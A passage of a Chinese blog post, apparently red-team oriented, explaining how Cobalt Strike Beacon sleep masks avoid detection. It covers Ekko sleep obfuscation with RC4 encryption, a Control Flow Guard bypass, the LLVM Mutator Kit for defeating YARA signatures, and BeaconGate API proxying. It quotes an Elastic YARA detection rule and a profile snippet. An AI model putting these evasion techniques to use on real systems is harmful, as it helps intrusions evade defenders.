0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 结构中指定的地址，</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">NtContinue</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数，其主要功能是恢复线程的上下文，其参数指向一个</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">CONTEXT</span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">结构体的指针，该结构体包含线程的寄存器和其他信息</span></div><p nodeleaf=""><img data-imgfileid="100000112" class="rich_pages wxw-img" data-ratio="0.1962962962962963" data-type="png" data-w="1080" data-width="1343" data-height="264" src="https://wechat2rss.xlab.app/img-proxy/?k=13d91aeb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjxJ3veMUVBL44Kmgv8qs4egtFah67Z9DUWMf8MCGG86rLLCyaWyCoJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">其中加密使用</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">SystemFunction032</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">函数，该函数实现了RC4加密算法，可同时用于加密和解密，接收数据和密钥结构作为参数，配合</span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">VirtualProtect</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">来实现对sleepmask代码进行加解密</span></div><p nodeleaf=""><img data-imgfileid="100000114" class="rich_pages wxw-img" data-ratio="0.6092592592592593" data-type="png" data-w="1080" data-width="1286" data-height="784" src="https://wechat2rss.xlab.app/img-proxy/?k=2821e4f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjDkApqpibOj9XXdwBVMJ4dm49NJdO3Rwsic04lZ4EE1zMsmq4s7Gcmy6g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">再次回到CFG的问题，为什么会触发CFG保护呢，先来看一下微软的介绍，再次回到我们的代码中CreateTimerQueueTimer 指向的回调例程是 NtContinue，它位于启用 CFG 时无法间接调用的特殊函数列表中。间接函数调用是从程序调用堆栈之外的另一个函数启动的调用。</span></p><p nodeleaf=""><img data-imgfileid="100000115" class="rich_pages wxw-img" data-ratio="0.6719817767653758" data-type="png" data-w="878" data-width="878" data-height="590" src="https://wechat2rss.xlab.app/img-proxy/?k=f3ac1a35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjVhZ5icCMwgjxfYYPs5rLMR2A3e3GRWJJWr933KSyGtbk06avCUJdbYA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">CFG中不允许的函数调用，此处是ntdll中</span></p><p nodeleaf=""><img data-imgfileid="100000111" class="rich_pages wxw-img" data-ratio="0.7086206896551724" data-type="png" data-w="580" data-width="580" data-height="411" src="https://wechat2rss.xlab.app/img-proxy/?k=a34c7d55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjuGmC6mN8L7AiaxGcTib9bib8LnWW3bibaGNwI0477hureFuBNJ2CZV54Jg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">那么此处的<span textstyle="" style="font-weight: bold;">CFG_BYPASS</span>，就是使用 <span textstyle="" style="font-weight: bold;">markCFGValid_nt</span> 函数调用 <span textstyle="" style="font-weight: bold;">NtSetInformationVirtualMemory</span>，将 <span textstyle="" style="font-weight: bold;">NtContinue</span> 添加到 <span textstyle="" style="font-weight: bold;">CFG 允许列表</span>从而绕过CFG保护</span></p><p nodeleaf=""><img data-imgfileid="100000113" class="rich_pages wxw-img" data-ratio="0.1935483870967742" data-type="png" data-w="1023" data-width="1023" data-height="198" src="https://wechat2rss.xlab.app/img-proxy/?k=9d4150c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjKsqW825xfuAUVOvxUo0XtRWPGsiaTjGd1mrvyHyne4cNQLOq37QOL7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-imgfileid="100000116" class="rich_pages wxw-img" data-ratio="0.6342592592592593" data-type="png" data-w="1080" data-width="1367" data-height="867" src="https://wechat2rss.xlab.app/img-proxy/?k=9c7636f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjplRVYEazJTd6kNcIYhjPcIEhCe7lzu7gpcPyu5iaqfZL6MZFrZLghQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">不同的操作系统，<span textstyle="" style="font-weight: bold;">tVmInformation</span> 数据结构的大小不同，在某些环境下会导致崩溃，因此官方给出了一个默认注释的代码，利用 <span textstyle="" style="font-weight: bold;">NtSetInformationVirtualMemory</span> 函数实现了一个循环，直到找到合适的大小。</span></p><p nodeleaf=""><img data-imgfileid="100000118" class="rich_pages wxw-img" data-ratio="0.5148148148148148" data-type="png" data-w="1080" data-width="1638" data-height="844" src="https://wechat2rss.xlab.app/img-proxy/?k=8004966e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjiaQ8hsZBGpiaBR2FITntd7XZmMvyXfP7NJib2JqcibRBbUbJ97XoCuKkrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">（4）堆栈欺骗</span></span></h3><p><span leaf="">写累了，涉及的知识点比较多，等下一篇再详细介绍吧</span></p><h3><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">4、Mutator Kit（Sleep Mask mutated ）</span></span></h3><p><span leaf="">之前的方法是运行时对Sleep Mask自身进行混淆（evasive sleep mask），也就是Ekko Sleep Obfuscation，这会大大增加我们被检测的概率，在某些环境下，用了Ekko反正直接被检测。除此之外还要考虑CFG（</span><span style="color:rgb(143,149,158);"><span leaf="">Control Flow Guard</span></span><span leaf="">）保护问题，在某些环境下会直接崩溃。我本人非常不喜欢Ekko，有多远踢多远。</span></p><p nodeleaf=""><img data-imgfileid="100000120" class="rich_pages wxw-img" data-ratio="0.8864864864864865" data-type="png" data-w="370" style="float: none;" data-width="370" data-height="328" src="https://wechat2rss.xlab.app/img-proxy/?k=c9a66f39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjVfWhQ1n1hCvicSg23TCqfwx8ZtFJWxUSIVZIkLDyK91PsMeiao9zOvRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">所以后面官方推出了Mutator Kit，主要目的是通过LLVM的代码变异技术，动态生成每次都不同的sleep mask，从而避免被基于静态特征的YARA签名检测到。</span></p><p><span leaf="">Mutator Kit利用LLVM的中间表示（IR）代码，应用多种变异passes（包括替换等价运算符、插入虚假控制流块、代码扁平化、基本块拆分等）对sleep mask的代码结构和机器码进行变异。这样生成的sleep mask在功能上等价，但机器码层面差异巨大，难以被静态签名准确识别</span></p><p><span leaf="">具体作用包括：</span></p><ul class="list-paddingleft-1"><li style="text-align:left;"><p><span leaf="">生成每次都唯一的sleep mask，避免YARA等静态签名检测。</span></p></li><li style="text-align:left;"><p><span leaf="">通过多种LLVM混淆通道，增强代码多样性和混淆度。</span></p></li><li style="text-align:left;"><p><span leaf="">提供命令行和Cobalt Strike客户端集成的使用方式，方便自动化应用变异。</span></p></li><li style="text-align:left;"><p><span leaf="">支持对其他Beacon Object Files（BOFs）进行类似变异，提高整体操作安全性（OPSEC）。</span></p></li></ul><p><span leaf="">默认的sleep mask Kit每次编译后的的.text段完全一致，YARA签名可以直接匹配其特定的机器码指令序列，从而检测Sleepmask，</span></p><pre style="white-space:pre-wrap;"><div data-lark-language="JSON" data-wrap="true"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><p><span leaf=""><span class="code-snippet__comment">// [1] Build the sleepmask.</span></span></p><p><span leaf="">$ ./build.sh <span class="code-snippet__number">49</span> WaitForSingleObject </span></p><p><span leaf=""><span class="code-snippet__literal">true</span></span></p><p><span leaf=""> none /tmp/dist </span></p><p><span leaf="">[ ... ] </span></p><p><span leaf="">[<span class="code-snippet__meta">Sleepmask kit</span>] [*] Compile sleepmask.x64.o </span></p><p><span leaf="">[ ... ]</span></p><p><span leaf=""><span class="code-snippet__comment">// [2] Use objdump to find the text section size.</span></span></p><p><span leaf="">$ objdump -h sleepmask.x64.o </span></p><p><span leaf=""> sleepmask.x64.o:     file format pe-x86<span class="code-snippet__number">-64</span> </span></p><p><span leaf="">Sections:</span></p><p><span leaf="">Idx Name          Size      VMA               LMA               File off  Algn</span></p><p><span leaf="">  <span class="code-snippet__number">0</span> .text         <span class="code-snippet__number">00000200</span>  <span class="code-snippet__number">0000000000000000</span>  <span class="code-snippet__number">0000000000000000</span>  <span class="code-snippet__number">00000104</span>  <span class="code-snippet__number">2</span>**<span class="code-snippet__number">4</span></span></p><p><span leaf="">                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE</span></p><p><span leaf=""><span class="code-snippet__comment">// [3] Extract the .text section.</span></span></p><p><span leaf=""><span class="code-snippet__comment">// NB skip is the offset(&#39;File off&#39;) of the .text section </span></span></p><p><span leaf=""><span class="code-snippet__comment">// from objdmp and count is the size of the section </span></span></p><p><span leaf=""><span class="code-snippet__comment">// e.g. python -c &#39;print(int(&#34;104&#34;, 16))&#39; == 260.</span></span></p><p><span leaf="">$ dd </span></p><p><span leaf=""><span class="code-snippet__keyword">if</span></span></p><p><span leaf="">=sleepmask.x64.o of=sleepmask1.bin skip=<span class="code-snippet__number">260</span> count=<span class="code-snippet__number">512</span> bs=<span class="code-snippet__number">1</span> </span></p><p><span leaf=""><span class="code-snippet__comment">// [4] Calculate shasum.</span></span></p><p><span leaf="">$ shasum sleepmask1.bin </span></p><p><span leaf=""><span class="code-snippet__number">4f</span>7813a6aae018a4cf6a78040d9c20024b5a83da  sleepmask1.bin </span></p><p><span leaf=""><span class="code-snippet__comment">// [5] Repeat the steps again to build another sleep </span></span></p><p><span leaf=""><span class="code-snippet__comment">// mask and extract/hash the .text section - the hash is identical!</span></span></p><p><span leaf="">$ shasum sleepmask2.bin </span></p><p><span leaf=""><span class="code-snippet__number">4f</span>7813a6aae018a4cf6a78040d9c20024b5a83da  sleepmask2.bin</span></p></pre></p><p><span leaf=""><br/></span></p></div></pre><p><span leaf="">比如说 Elastic  针对sleepm mask的 YARA扫描规则，Windows_Trojan_CobaltStrike_b54b94ac，它在默认Sleep mask中查找以下操作码模式：0x4C 0x8B 0x53 0x08</span></p><pre style="white-space:pre-wrap;"><div data-lark-language="C++" data-wrap="true"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><p><span leaf="">mov r10, <span class="code-snippet__selector-attr">[rbx+0x08]</span> </span></p><p><span leaf="">mov r9d, <span class="code-snippet__selector-attr">[r10]</span> </span></p><p><span leaf="">mov r11d, <span class="code-snippet__selector-attr">[r10+0x04]</span> </span></p><p><span leaf="">lea r10, <span class="code-snippet__selector-attr">[r10+0x08]</span> </span></p><p><span leaf="">test r9d, r9d </span></p><p><span leaf="">jnz <span class="code-snippet__number">0</span>x0000000000000007 </span></p><p><span leaf="">test r11d, r11d </span></p><p><span leaf="">jz <span class="code-snippet__number">0</span>x0000000000000035 </span></p><p><span leaf="">cmp r9d, r11d </span></p><p><span leaf="">jnb <span class="code-snippet__number">0</span>xFFFFFFFFFFFFFFE8 </span></p><p><span leaf="">mov rdi, r9 </span></p><p><span leaf="">mov r8, <span class="code-snippet__selector-attr">[rbx]</span></span></p></pre></p><p><span leaf=""><br/></span></p></div></pre><p><span leaf="">Windows_Trojan_CobaltStrike_b54b94ac规则:</span></p><pre style="white-space:pre-wrap;"><div data-lark-language="Bash" data-wrap="true"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="powershell"><p><span leaf="">rule Windows_Trojan_CobaltStrike_b54b94<span class="code-snippet__built_in">ac</span> {</span></p><p><span leaf="">    meta:</span></p><p><span leaf="">        author = <span class="code-snippet__string">&#34;Elastic Security&#34;</span></span></p><p><span leaf="">        id = <span class="code-snippet__string">&#34;b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca&#34;</span></span></p><p><span leaf="">        fingerprint = <span class="code-snippet__string">&#34;2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8&#34;</span></span></p><p><span leaf="">        creation_date = <span class="code-snippet__string">&#34;2021-10-21&#34;</span></span></p><p><span leaf="">        last_modified = <span class="code-snippet__string">&#34;2022-01-13&#34;</span></span></p><p><span leaf="">        description = <span class="code-snippet__string">&#34;Rule for beacon sleep obfuscation routine&#34;</span></span></p><p><span leaf="">        threat_name = <span class="code-snippet__string">&#34;Windows.Trojan.CobaltStrike&#34;</span></span></p><p><span leaf="">        reference_sample = <span class="code-snippet__string">&#34;36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a&#34;</span></span></p><p><span leaf="">        severity = <span class="code-snippet__number">100</span></span></p><p><span leaf="">        arch_context = <span class="code-snippet__string">&#34;x86&#34;</span></span></p><p><span leaf="">        scan_context = <span class="code-snippet__string">&#34;file, memory&#34;</span></span></p><p><span leaf="">        license = <span class="code-snippet__string">&#34;Elastic License v2&#34;</span></span></p><p><span leaf="">        os = <span class="code-snippet__string">&#34;windows&#34;</span></span></p><p><span leaf="">    strings:</span></p><p><span leaf="">        <span class="code-snippet__variable">$a_x64</span> = { <span class="code-snippet__number">4</span>C <span class="code-snippet__number">8</span>B <span class="code-snippet__number">53</span> <span class="code-snippet__number">08</span> <span class="code-snippet__number">45</span> <span class="code-snippet__number">8</span>B <span class="code-snippet__number">0</span>A <span class="code-snippet__number">45</span> <span class="code-snippet__number">8</span>B <span class="code-snippet__number">5</span>A <span class="code-snippet__number">04</span> <span class="code-snippet__number">4</span>D <span class="code-snippet__number">8</span>D <span class="code-snippet__number">52</span> <span class="code-snippet__number">08</span> <span class="code-snippet__number">45</span> <span class="code-snippet__number">85</span> C9 <span class="code-snippet__number">75</span> <span class="code-snippet__number">05</span> <span class="code-snippet__number">45</span> <span class="code-snippet__number">85</span> DB <span class="code-snippet__number">74</span> <span class="code-snippet__number">33</span> <span class="code-snippet__number">45</span> <span class="code-snippet__number">3</span>B CB <span class="code-snippet__number">73</span> E6 <span class="code-snippet__number">49</span> <span class="code-snippet__number">8</span>B F9 <span class="code-snippet__number">4</span>C <span class="code-snippet__number">8</span>B <span class="code-snippet__number">03</span> }</span></p><p><span leaf="">        <span class="code-snippet__variable">$a_x64_smbtcp</span> = { <span class="code-snippet__number">4</span>C <span class="code-snippet__number">8</span>B <span class="code-snippet__number">07</span> B8 <span class="code-snippet__number">4</span>F EC C4 <span class="code-snippet__number">4</span>E <span class="code-snippet__number">41</span> F7 E1 <span class="code-snippet__number">41</span> <span class="code-snippet__number">8</span>B C1 C1 EA <span class="code-snippet__number">02</span> <span class="code-snippet__number">41</span> FF C1 <span class="code-snippet__number">6</span>B D2 <span class="code-snippet__number">0</span>D <span class="code-snippet__number">2</span>B C2 <span class="code-snippet__number">8</span>A <span class="code-snippet__number">4</span>C <span class="code-snippet__number">38</span> <span class="code-snippet__number">10</span> <span class="code-snippet__number">42</span> <span class="code-snippet__number">30</span> <span class="code-snippet__number">0</span>C <span class="code-snippet__number">06</span> <span class="code-snippet__number">48</span> }</span></p><p><span leaf="">        <span class="code-snippet__variable">$a_x86</span> = { <span class="code-snippet__number">8</span>B <span class="code-snippet__number">46</span> <span class="code-snippet__number">04</span> <span class="code-snippet__number">8</span>B <span class="code-snippet__number">08</span> <span class="code-snippet__number">8</span>B <span class="code-snippet__number">50</span> <span class="code-snippet__number">04</span> <span class="code-snippet__number">83</span> C0 <span class="code-snippet__number">08</span> <span class="code-snippet__number">89</span> <span class="code-snippet__number">55</span> <span class="code-snippet__number">08</span> <span class="code-snippet__number">89</span> <span class="code-snippet__number">45</span> <span class="code-snippet__number">0</span>C <span class="code-snippet__number">85</span> C9 <span class="code-snippet__number">75</span> <span class="code-snippet__number">04</span> <span class="code-snippet__number">85</span> D2 <span class="code-snippet__number">74</span> <span class="code-snippet__number">23</span> <span class="code-snippet__number">3</span>B CA <span class="code-snippet__number">73</span> E6 <span class="code-snippet__number">8</span>B <span class="code-snippet__number">06</span> <span class="code-snippet__number">8</span>D <span class="code-snippet__number">3</span>C <span class="code-snippet__number">08</span> <span class="code-snippet__number">33</span> D2 }</span></p><p><span leaf="">        <span class="code-snippet__variable">$a_x86_2</span> = { <span class="code-snippet__number">8</span>B <span class="code-snippet__number">06</span> <span class="code-snippet__number">8</span>D <span class="code-snippet__number">3</span>C <span class="code-snippet__number">08</span> <span class="code-snippet__number">33</span> D2 <span class="code-snippet__number">6</span>A <span class="code-snippet__number">0</span>D <span class="code-snippet__number">8</span>B C1 <span class="code-snippet__number">5</span>B F7 F3 <span class="code-snippet__number">8</span>A <span class="code-snippet__number">44</span> <span class="code-snippet__number">32</span> <span class="code-snippet__number">08</span> <span class="code-snippet__number">30</span> <span class="code-snippet__number">07</span> <span class="code-snippet__number">41</span> <span class="code-snippet__number">3</span>B <span class="code-snippet__number">4</span>D <span class="code-snippet__number">08</span> <span class="code-snippet__number">72</span> E6 <span class="code-snippet__number">8</span>B <span class="code-snippet__number">45</span> <span class="code-snippet__built_in">FC</span> EB C7 }</span></p><p><span leaf="">        <span class="code-snippet__variable">$a_x86_smbtcp</span> = { <span class="code-snippet__number">8</span>B <span class="code-snippet__number">07</span> <span class="code-snippet__number">8</span>D <span class="code-snippet__number">34</span> <span class="code-snippet__number">08</span> <span class="code-snippet__number">33</span> D2 <span class="code-snippet__number">6</span>A <span class="code-snippet__number">0</span>D <span class="code-snippet__number">8</span>B C1 <span class="code-snippet__number">5</span>B F7 F3 <span class="code-snippet__number">8</span>A <span class="code-snippet__number">44</span> <span class="code-snippet__number">3</span>A <span class="code-snippet__number">08</span> <span class="code-snippet__number">30</span> <span class="code-snippet__number">06</span> <span class="code-snippet__number">41</span> <span class="code-snippet__number">3</span>B <span class="code-snippet__number">4</span>D <span class="code-snippet__number">08</span> <span class="code-snippet__number">72</span> E6 <span class="code-snippet__number">8</span>B <span class="code-snippet__number">45</span> <span class="code-snippet__built_in">FC</span> EB }</span></p><p><span leaf="">    condition:</span></p><p><span leaf="">        any of them</span></p><p><span leaf="">}</span></p></pre></p><p><span leaf=""><br/></span></p></div></pre><p><span leaf="">Beacon 休眠时，sleep mask在内存中可见</span></p><p nodeleaf=""><img data-imgfileid="100000119" class="rich_pages wxw-img" data-ratio="0.21203703703703702" data-type="png" data-w="1080" data-width="1536" data-height="325" src="https://wechat2rss.xlab.app/img-proxy/?k=1be4c165&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjPSoqVZaibN9645WjaKyqmVQjiaicGAKK9W4kjdHGWibsiaroHnqZlpWCMmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">使用 Mutator Kit 生成Sleep mask，来自官方的默认 sleep mask 和mutated sleep mask 中</span><em><span leaf="">相同</span></em><span leaf="">函数的调用对比图</span></p><p nodeleaf=""><img data-imgfileid="100000117" class="rich_pages wxw-img" data-ratio="1.2612293144208038" data-type="png" data-w="846" data-width="846" data-height="1067" src="https://wechat2rss.xlab.app/img-proxy/?k=3a2864b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj2IkLtpTE3UHHHNaVtLYYDWdefgOUibp7ibXrpGgo4fyJFrN9g7xI7tvg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">详细的配置和说明参考官方文章：</span></p><p><span leaf=""><a href="https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm" target="_blank">https://www.cobaltstrike.com/blog/introducing-the-mutator-kit-creating-object-file-monstrosities-with-sleep-mask-and-llvm</a></span></p><h3><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">5、Cobalt Strike 4.10 BeaconGate   with Custom Sleepmask BOFs</span></span></h3><p><span leaf="">2024年7月，Sleepmask-vs发布，支持添加堆栈欺骗等等，配合beacongate使的规避性更强</span></p><p><span leaf="">在过去几年中，异常 API 调用的检测逻辑急剧增加。例如syscall-detect、MalMemDetect、Hunt-Sleeping-Beacons和pe-sieve等开源项目都展示了从未支持的内存中搜寻可疑 API 的调用。此外，Elastic 凭借 异常的调用堆栈检测逻辑 推动了防御行业的向前发展，这些都给红队操作带来了巨大挑战。之前Cobalt Strike难以应对这些检测，特别是无法基于Beacon的系统调用实现细粒度控制，只能通过复杂的IAT hooking实现。</span></p><p nodeleaf=""><img data-imgfileid="100000124" class="rich_pages wxw-img" data-ratio="0.55" data-type="png" data-w="760" data-width="760" data-height="418" src="https://wechat2rss.xlab.app/img-proxy/?k=89a9b219&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjWUNofoNyTtqibMB9fwMPODibkiadwmXHP74grfibEMvy4KWJKcBXlbHsAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">因此，BeaconGate正式诞生，先来看下官方的定义，从高层来看，睡眠掩码在概念上类似于远程过程调用（RPC），尽管在相同的进程地址空间内。例如，当Beacon睡眠时，它将调用Sleepmask BOF、mask和sleep。Beacon在这里充当“客户端”，Sleepmask是代表Beacon执行Sleep调用的“服务器”。在Cobalt Strike 4.10中，我们已经将这一想法推到了合乎逻辑的结论，Sleepmask现在支持执行任意函数。因此，现在可以配置Beacon转发其Windows API调用，以便通过Sleepmask（又名Beacon Gate）执行</span></p><p><span leaf="">长话短说，官方说了那么多其实总结下来就是，BeaconGate 使用户能够</span><em><span leaf="">自定义 Beacon 调用 WinAPI 函数的方式。</span></em><span leaf=""> 配置 并启用BeaconGate 后，Beacon 将代理其 Windows API 调用，以通过 Sleepmask 执行（即类似于远程过程调用）</span></p><p><span leaf="">BeaconGate 工作原理的高级示意图</span></p><p nodeleaf=""><img data-imgfileid="100000125" class="rich_pages wxw-img" data-ratio="0.6101851851851852" data-type="png" data-w="1080" data-width="1280" data-height="781" src="https://wechat2rss.xlab.app/img-proxy/?k=01900657&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjx42KZn3iaMgdoejgn2OTnm0SWAicMC9J4pqkuXl7h2GqpkABLOJk2YRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">目前beacongate支持的的调用API如下：</span></p><p nodeleaf=""><img data-imgfileid="100000121" class="rich_pages wxw-img" data-ratio="0.9628297362110312" data-type="png" data-w="834" data-width="834" data-height="803" src="https://wechat2rss.xlab.app/img-proxy/?k=c71310c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjgCE2icN3gv17ZwzQjibhX9ibqUn1Btsfh8WDRB6G7L9xVicoBRgjXUqSNQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">可以通过Profile选项来配置 BeaconGate</span></p><pre style="white-space:pre-wrap;"><div data-lark-language="C++" data-wrap="true"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><p><span leaf="">stage { </span></p><p><span leaf="">    beacon_gate { </span></p><p><span leaf="">          <span class="code-snippet__attribute">All</span>; </span></p><p><span leaf="">    } </span></p><p><span leaf="">} </span></p></pre></p><p><span leaf=""><br/></span></p></div></pre><p><span leaf="">简单解读下代码，</span></p><div><span leaf="">当 API 调用代理到 Sleep Mask 时，相关数据将保存在结构中。</span><p><span leaf="">FUNCTION_CALL</span></p></div><p nodeleaf=""><img data-imgfileid="100000122" class="rich_pages wxw-img" data-ratio="0.49907407407407406" data-type="png" data-w="1080" data-width="1202" data-height="600" src="https://wechat2rss.xlab.app/img-proxy/?k=f572818a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjx9n8cmyiaxQaibxakQ6SUVlI0buwId6icvibbWIkNcn1y27r5pouxeZa0w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-imgfileid="100000123" class="rich_pages wxw-img" data-ratio="0.4388888888888889" data-type="png" data-w="1080" data-width="1319" data-height="579" src="https://wechat2rss.xlab.app/img-proxy/?k=33bdb9cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjON3ibFVVQpEWubURomQE4tn3nTliahZpLh2v7VUVMGjG2OccIiaA2j7FA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">BeaconGate 目前最多支持 10 个参数</span></p><p nodeleaf=""><img data-imgfileid="100000130" class="rich_pages wxw-img" data-ratio="0.4027777777777778" data-type="png" data-w="1080" data-width="1366" data-height="550" 